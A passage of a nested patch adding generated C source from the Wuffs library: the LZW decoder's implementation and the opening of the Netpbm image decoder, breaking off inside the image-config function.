-+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_lzw__decoder__read_from( -+ wuffs_lzw__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_lzw__decoder__write_to( -+ wuffs_lzw__decoder* self, -+ wuffs_base__io_buffer* a_dst); -+ -+// ---------------- VTables -+ -+const wuffs_base__io_transformer__func_ptrs -+wuffs_lzw__decoder__func_ptrs_for__wuffs_base__io_transformer = { -+ (wuffs_base__optional_u63(*)(const void*))(&wuffs_lzw__decoder__dst_history_retain_length), -+ (uint64_t(*)(const void*, -+ uint32_t))(&wuffs_lzw__decoder__get_quirk), -+ (wuffs_base__status(*)(void*, -+ uint32_t, -+ uint64_t))(&wuffs_lzw__decoder__set_quirk), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__io_buffer*, -+ wuffs_base__io_buffer*, -+ wuffs_base__slice_u8))(&wuffs_lzw__decoder__transform_io), -+ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_lzw__decoder__workbuf_len), -+}; -+ -+// ---------------- Initializer Implementations -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_lzw__decoder__initialize( -+ wuffs_lzw__decoder* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options){ -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (sizeof(*self) != sizeof_star_self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ } -+ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -+ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -+ } -+ -+ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -+ // The whole point of this if-check is to detect an uninitialized *self. -+ // We disable the warning on GCC. Clang-5.0 does not have this warning. -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -+#endif -+ if (self->private_impl.magic != 0) { -+ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ } -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -+ memset(self, 0, sizeof(*self)); -+ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -+ } else { -+ memset(&(self->private_impl), 0, sizeof(self->private_impl)); -+ } -+ } -+ -+ self->private_impl.magic = WUFFS_BASE__MAGIC; -+ self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = -+ wuffs_base__io_transformer__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = -+ (const void*)(&wuffs_lzw__decoder__func_ptrs_for__wuffs_base__io_transformer); -+ return wuffs_base__make_status(NULL); -+} -+ -+wuffs_lzw__decoder* -+wuffs_lzw__decoder__alloc(void) { -+ wuffs_lzw__decoder* x = -+ (wuffs_lzw__decoder*)(calloc(1, sizeof(wuffs_lzw__decoder))); -+ if (!x) { -+ return NULL; -+ } -+ if (wuffs_lzw__decoder__initialize( -+ x, sizeof(wuffs_lzw__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ free(x); -+ return NULL; -+ } -+ return x; -+} -+ -+size_t -+sizeof__wuffs_lzw__decoder(void) { -+ return sizeof(wuffs_lzw__decoder); -+} -+ -+// ---------------- Function Implementations -+ -+// -------- func lzw.decoder.get_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_lzw__decoder__get_quirk( -+ const wuffs_lzw__decoder* self, -+ uint32_t a_key) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ if (a_key == 1348378624u) { -+ return ((uint64_t)(self->private_impl.f_pending_literal_width_plus_one)); -+ } -+ return 0u; -+} -+ -+// -------- func lzw.decoder.set_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_lzw__decoder__set_quirk( -+ wuffs_lzw__decoder* self, -+ uint32_t a_key, -+ uint64_t a_value) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ -+ if (a_key == 1348378624u) { -+ if (a_value > 9u) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ self->private_impl.f_pending_literal_width_plus_one = ((uint32_t)(a_value)); -+ return wuffs_base__make_status(NULL); -+ } -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+} -+ -+// -------- func lzw.decoder.dst_history_retain_length -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 -+wuffs_lzw__decoder__dst_history_retain_length( -+ const wuffs_lzw__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__make_optional_u63(false, 0u); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__make_optional_u63(false, 0u); -+ } -+ -+ return wuffs_base__utility__make_optional_u63(true, 0u); -+} -+ -+// -------- func lzw.decoder.workbuf_len -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_lzw__decoder__workbuf_len( -+ const wuffs_lzw__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ -+ return wuffs_base__utility__make_range_ii_u64(0u, 0u); -+} -+ -+// -------- func lzw.decoder.transform_io -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_lzw__decoder__transform_io( -+ wuffs_lzw__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_dst || !a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 1)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint32_t v_i = 0; -+ -+ uint32_t coro_susp_point = self->private_impl.p_transform_io; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ self->private_impl.f_literal_width = 8u; -+ if (self->private_impl.f_pending_literal_width_plus_one > 0u) { -+ self->private_impl.f_literal_width = (self->private_impl.f_pending_literal_width_plus_one - 1u); -+ } -+ self->private_impl.f_clear_code = (((uint32_t)(1u)) << self->private_impl.f_literal_width); -+ self->private_impl.f_end_code = (self->private_impl.f_clear_code + 1u); -+ self->private_impl.f_save_code = self->private_impl.f_end_code; -+ self->private_impl.f_prev_code = self->private_impl.f_end_code; -+ self->private_impl.f_width = (self->private_impl.f_literal_width + 1u); -+ self->private_impl.f_bits = 0u; -+ self->private_impl.f_n_bits = 0u; -+ self->private_impl.f_output_ri = 0u; -+ self->private_impl.f_output_wi = 0u; -+ v_i = 0u; -+ while (v_i < self->private_impl.f_clear_code) { -+ self->private_data.f_lm1s[v_i] = 0u; -+ self->private_data.f_suffixes[v_i][0u] = ((uint8_t)(v_i)); -+ v_i += 1u; -+ } -+ while (true) { -+ wuffs_lzw__decoder__read_from(self, a_src); -+ if (self->private_impl.f_output_wi > 0u) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_lzw__decoder__write_to(self, a_dst); -+ if (status.repr) { -+ goto suspend; -+ } -+ } -+ if (self->private_impl.f_read_from_return_value == 0u) { -+ break; -+ } else if (self->private_impl.f_read_from_return_value == 1u) { -+ continue; -+ } else if (self->private_impl.f_read_from_return_value == 2u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -+ } else if (self->private_impl.f_read_from_return_value == 3u) { -+ status = wuffs_base__make_status(wuffs_lzw__error__truncated_input); -+ goto exit; -+ } else if (self->private_impl.f_read_from_return_value == 4u) { -+ status = wuffs_base__make_status(wuffs_lzw__error__bad_code); -+ goto exit; -+ } else { -+ status = wuffs_base__make_status(wuffs_lzw__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ } -+ -+ ok: -+ self->private_impl.p_transform_io = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -+ -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func lzw.decoder.read_from -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_lzw__decoder__read_from( -+ wuffs_lzw__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ uint32_t v_clear_code = 0; -+ uint32_t v_end_code = 0; -+ uint32_t v_save_code = 0; -+ uint32_t v_prev_code = 0; -+ uint32_t v_width = 0; -+ uint32_t v_bits = 0; -+ uint32_t v_n_bits = 0; -+ uint32_t v_output_wi = 0; -+ uint32_t v_code = 0; -+ uint32_t v_c = 0; -+ uint32_t v_o = 0; -+ uint32_t v_steps = 0; -+ uint8_t v_first_byte = 0; -+ uint16_t v_lm1_b = 0; -+ uint16_t v_lm1_a = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ v_clear_code = self->private_impl.f_clear_code; -+ v_end_code = self->private_impl.f_end_code; -+ v_save_code = self->private_impl.f_save_code; -+ v_prev_code = self->private_impl.f_prev_code; -+ v_width = self->private_impl.f_width; -+ v_bits = self->private_impl.f_bits; -+ v_n_bits = self->private_impl.f_n_bits; -+ v_output_wi = self->private_impl.f_output_wi; -+ while (true) { -+ if (v_n_bits < v_width) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { -+ v_bits |= ((uint32_t)(wuffs_base__peek_u32le__no_bounds_check(iop_a_src) << v_n_bits)); -+ iop_a_src += ((31u - v_n_bits) >> 3u); -+ v_n_bits |= 24u; -+ } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ if (a_src && a_src->meta.closed) { -+ self->private_impl.f_read_from_return_value = 3u; -+ } else { -+ self->private_impl.f_read_from_return_value = 2u; -+ } -+ break; -+ } else { -+ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -+ iop_a_src += 1u; -+ v_n_bits += 8u; -+ if (v_n_bits >= v_width) { -+ } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ if (a_src && a_src->meta.closed) { -+ self->private_impl.f_read_from_return_value = 3u; -+ } else { -+ self->private_impl.f_read_from_return_value = 2u; -+ } -+ break; -+ } else { -+ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -+ iop_a_src += 1u; -+ v_n_bits += 8u; -+ if (v_n_bits < v_width) { -+ self->private_impl.f_read_from_return_value = 5u; -+ break; -+ } -+ } -+ } -+ } -+ v_code = ((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_width)); -+ v_bits >>= v_width; -+ v_n_bits -= v_width; -+ if (v_code < v_clear_code) { -+ self->private_data.f_output[v_output_wi] = ((uint8_t)(v_code)); -+ v_output_wi = ((v_output_wi + 1u) & 8191u); -+ if (v_save_code <= 4095u) { -+ v_lm1_a = ((uint16_t)(((uint16_t)(self->private_data.f_lm1s[v_prev_code] + 1u)) & 4095u)); -+ self->private_data.f_lm1s[v_save_code] = v_lm1_a; -+ if (((uint16_t)(v_lm1_a % 8u)) != 0u) { -+ self->private_impl.f_prefixes[v_save_code] = self->private_impl.f_prefixes[v_prev_code]; -+ memcpy(self->private_data.f_suffixes[v_save_code],self->private_data.f_suffixes[v_prev_code], sizeof(self->private_data.f_suffixes[v_save_code])); -+ self->private_data.f_suffixes[v_save_code][((uint16_t)(v_lm1_a % 8u))] = ((uint8_t)(v_code)); -+ } else { -+ self->private_impl.f_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); -+ self->private_data.f_suffixes[v_save_code][0u] = ((uint8_t)(v_code)); -+ } -+ v_save_code += 1u; -+ if (v_width < 12u) { -+ v_width += (1u & (v_save_code >> v_width)); -+ } -+ v_prev_code = v_code; -+ } -+ } else if (v_code <= v_end_code) { -+ if (v_code == v_end_code) { -+ self->private_impl.f_read_from_return_value = 0u; -+ break; -+ } -+ v_save_code = v_end_code; -+ v_prev_code = v_end_code; -+ v_width = (self->private_impl.f_literal_width + 1u); -+ } else if (v_code <= v_save_code) { -+ v_c = v_code; -+ if (v_code == v_save_code) { -+ v_c = v_prev_code; -+ } -+ v_o = ((v_output_wi + (((uint32_t)(self->private_data.f_lm1s[v_c])) & 4294967288u)) & 8191u); -+ v_output_wi = ((v_output_wi + 1u + ((uint32_t)(self->private_data.f_lm1s[v_c]))) & 8191u); -+ v_steps = (((uint32_t)(self->private_data.f_lm1s[v_c])) >> 3u); -+ while (true) { -+ memcpy((self->private_data.f_output)+(v_o), (self->private_data.f_suffixes[v_c]), 8u); -+ if (v_steps <= 0u) { -+ break; -+ } -+ v_steps -= 1u; -+ v_o = (((uint32_t)(v_o - 8u)) & 8191u); -+ v_c = ((uint32_t)(self->private_impl.f_prefixes[v_c])); -+ } -+ v_first_byte = self->private_data.f_suffixes[v_c][0u]; -+ if (v_code == v_save_code) { -+ self->private_data.f_output[v_output_wi] = v_first_byte; -+ v_output_wi = ((v_output_wi + 1u) & 8191u); -+ } -+ if (v_save_code <= 4095u) { -+ v_lm1_b = ((uint16_t)(((uint16_t)(self->private_data.f_lm1s[v_prev_code] + 1u)) & 4095u)); -+ self->private_data.f_lm1s[v_save_code] = v_lm1_b; -+ if (((uint16_t)(v_lm1_b % 8u)) != 0u) { -+ self->private_impl.f_prefixes[v_save_code] = self->private_impl.f_prefixes[v_prev_code]; -+ memcpy(self->private_data.f_suffixes[v_save_code],self->private_data.f_suffixes[v_prev_code], sizeof(self->private_data.f_suffixes[v_save_code])); -+ self->private_data.f_suffixes[v_save_code][((uint16_t)(v_lm1_b % 8u))] = v_first_byte; -+ } else { -+ self->private_impl.f_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); -+ self->private_data.f_suffixes[v_save_code][0u] = ((uint8_t)(v_first_byte)); -+ } -+ v_save_code += 1u; -+ if (v_width < 12u) { -+ v_width += (1u & (v_save_code >> v_width)); -+ } -+ v_prev_code = v_code; -+ } -+ } else { -+ self->private_impl.f_read_from_return_value = 4u; -+ break; -+ } -+ if (v_output_wi > 4095u) { -+ self->private_impl.f_read_from_return_value = 1u; -+ break; -+ } -+ } -+ if (self->private_impl.f_read_from_return_value != 2u) { -+ while (v_n_bits >= 8u) { -+ v_n_bits -= 8u; -+ if (iop_a_src > io1_a_src) { -+ iop_a_src--; -+ } else { -+ self->private_impl.f_read_from_return_value = 5u; -+ break; -+ } -+ } -+ } -+ self->private_impl.f_save_code = v_save_code; -+ self->private_impl.f_prev_code = v_prev_code; -+ self->private_impl.f_width = v_width; -+ self->private_impl.f_bits = v_bits; -+ self->private_impl.f_n_bits = v_n_bits; -+ self->private_impl.f_output_wi = v_output_wi; -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return wuffs_base__make_empty_struct(); -+} -+ -+// -------- func lzw.decoder.write_to -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_lzw__decoder__write_to( -+ wuffs_lzw__decoder* self, -+ wuffs_base__io_buffer* a_dst) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__slice_u8 v_s = {0}; -+ uint64_t v_n = 0; -+ -+ uint8_t* iop_a_dst = NULL; -+ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_dst && a_dst->data.ptr) { -+ io0_a_dst = a_dst->data.ptr; -+ io1_a_dst = io0_a_dst + a_dst->meta.wi; -+ iop_a_dst = io1_a_dst; -+ io2_a_dst = io0_a_dst + a_dst->data.len; -+ if (a_dst->meta.closed) { -+ io2_a_dst = iop_a_dst; -+ } -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_write_to; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (self->private_impl.f_output_wi > 0u) { -+ if (self->private_impl.f_output_ri > self->private_impl.f_output_wi) { -+ status = wuffs_base__make_status(wuffs_lzw__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ v_s = wuffs_base__make_slice_u8_ij(self->private_data.f_output, -+ self->private_impl.f_output_ri, -+ self->private_impl.f_output_wi); -+ v_n = wuffs_private_impl__io_writer__copy_from_slice(&iop_a_dst, io2_a_dst,v_s); -+ if (v_n == ((uint64_t)(v_s.len))) { -+ self->private_impl.f_output_ri = 0u; -+ self->private_impl.f_output_wi = 0u; -+ status = wuffs_base__make_status(NULL); -+ goto ok; -+ } -+ self->private_impl.f_output_ri = (((uint32_t)(self->private_impl.f_output_ri + ((uint32_t)(v_n)))) & 8191u); -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ -+ ok: -+ self->private_impl.p_write_to = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_write_to = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_dst && a_dst->data.ptr) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func lzw.decoder.flush -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__slice_u8 -+wuffs_lzw__decoder__flush( -+ wuffs_lzw__decoder* self) { -+ if (!self) { -+ return wuffs_base__empty_slice_u8(); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__empty_slice_u8(); -+ } -+ -+ uint32_t v_ri = 0; -+ uint32_t v_wi = 0; -+ -+ v_ri = self->private_impl.f_output_ri; -+ v_wi = self->private_impl.f_output_wi; -+ self->private_impl.f_output_ri = 0u; -+ self->private_impl.f_output_wi = 0u; -+ if (v_ri <= v_wi) { -+ return wuffs_base__make_slice_u8_ij(self->private_data.f_output, v_ri, v_wi); -+ } -+ return wuffs_base__make_slice_u8(self->private_data.f_output, 0); -+} -+ -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) -+ -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) -+ -+// ---------------- Status Codes Implementations -+ -+const char wuffs_netpbm__error__bad_header[] = "#netpbm: bad header"; -+const char wuffs_netpbm__error__truncated_input[] = "#netpbm: truncated input"; -+const char wuffs_netpbm__error__unsupported_netpbm_file[] = "#netpbm: unsupported Netpbm file"; -+const char wuffs_netpbm__note__internal_note_short_read[] = "@netpbm: internal note: short read"; -+ -+// ---------------- Private Consts -+ -+// ---------------- Private Initializer Prototypes -+ -+// ---------------- Private Function Prototypes -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_netpbm__decoder__do_decode_image_config( -+ wuffs_netpbm__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_netpbm__decoder__do_decode_frame_config( -+ wuffs_netpbm__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_netpbm__decoder__do_decode_frame( -+ wuffs_netpbm__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_netpbm__decoder__swizzle( -+ wuffs_netpbm__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+// ---------------- VTables -+ -+const wuffs_base__image_decoder__func_ptrs -+wuffs_netpbm__decoder__func_ptrs_for__wuffs_base__image_decoder = { -+ (wuffs_base__status(*)(void*, -+ wuffs_base__pixel_buffer*, -+ wuffs_base__io_buffer*, -+ wuffs_base__pixel_blend, -+ wuffs_base__slice_u8, -+ wuffs_base__decode_frame_options*))(&wuffs_netpbm__decoder__decode_frame), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__frame_config*, -+ wuffs_base__io_buffer*))(&wuffs_netpbm__decoder__decode_frame_config), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__image_config*, -+ wuffs_base__io_buffer*))(&wuffs_netpbm__decoder__decode_image_config), -+ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_netpbm__decoder__frame_dirty_rect), -+ (uint64_t(*)(const void*, -+ uint32_t))(&wuffs_netpbm__decoder__get_quirk), -+ (uint32_t(*)(const void*))(&wuffs_netpbm__decoder__num_animation_loops), -+ (uint64_t(*)(const void*))(&wuffs_netpbm__decoder__num_decoded_frame_configs), -+ (uint64_t(*)(const void*))(&wuffs_netpbm__decoder__num_decoded_frames), -+ (wuffs_base__status(*)(void*, -+ uint64_t, -+ uint64_t))(&wuffs_netpbm__decoder__restart_frame), -+ (wuffs_base__status(*)(void*, -+ uint32_t, -+ uint64_t))(&wuffs_netpbm__decoder__set_quirk), -+ (wuffs_base__empty_struct(*)(void*, -+ uint32_t, -+ bool))(&wuffs_netpbm__decoder__set_report_metadata), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__io_buffer*, -+ wuffs_base__more_information*, -+ wuffs_base__io_buffer*))(&wuffs_netpbm__decoder__tell_me_more), -+ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_netpbm__decoder__workbuf_len), -+}; -+ -+// ---------------- Initializer Implementations -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_netpbm__decoder__initialize( -+ wuffs_netpbm__decoder* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options){ -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (sizeof(*self) != sizeof_star_self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ } -+ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -+ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -+ } -+ -+ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -+ // The whole point of this if-check is to detect an uninitialized *self. -+ // We disable the warning on GCC. Clang-5.0 does not have this warning. -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -+#endif -+ if (self->private_impl.magic != 0) { -+ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ } -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -+ memset(self, 0, sizeof(*self)); -+ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -+ } else { -+ memset(&(self->private_impl), 0, sizeof(self->private_impl)); -+ } -+ } -+ -+ self->private_impl.magic = WUFFS_BASE__MAGIC; -+ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = -+ wuffs_base__image_decoder__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = -+ (const void*)(&wuffs_netpbm__decoder__func_ptrs_for__wuffs_base__image_decoder); -+ return wuffs_base__make_status(NULL); -+} -+ -+wuffs_netpbm__decoder* -+wuffs_netpbm__decoder__alloc(void) { -+ wuffs_netpbm__decoder* x = -+ (wuffs_netpbm__decoder*)(calloc(1, sizeof(wuffs_netpbm__decoder))); -+ if (!x) { -+ return NULL; -+ } -+ if (wuffs_netpbm__decoder__initialize( -+ x, sizeof(wuffs_netpbm__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ free(x); -+ return NULL; -+ } -+ return x; -+} -+ -+size_t -+sizeof__wuffs_netpbm__decoder(void) { -+ return sizeof(wuffs_netpbm__decoder); -+} -+ -+// ---------------- Function Implementations -+ -+// -------- func netpbm.decoder.get_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_netpbm__decoder__get_quirk( -+ const wuffs_netpbm__decoder* self, -+ uint32_t a_key) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ return 0u; -+} -+ -+// -------- func netpbm.decoder.set_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_netpbm__decoder__set_quirk( -+ wuffs_netpbm__decoder* self, -+ uint32_t a_key, -+ uint64_t a_value) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+} -+ -+// -------- func netpbm.decoder.decode_image_config -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_netpbm__decoder__decode_image_config( -+ wuffs_netpbm__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 1)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ { -+ 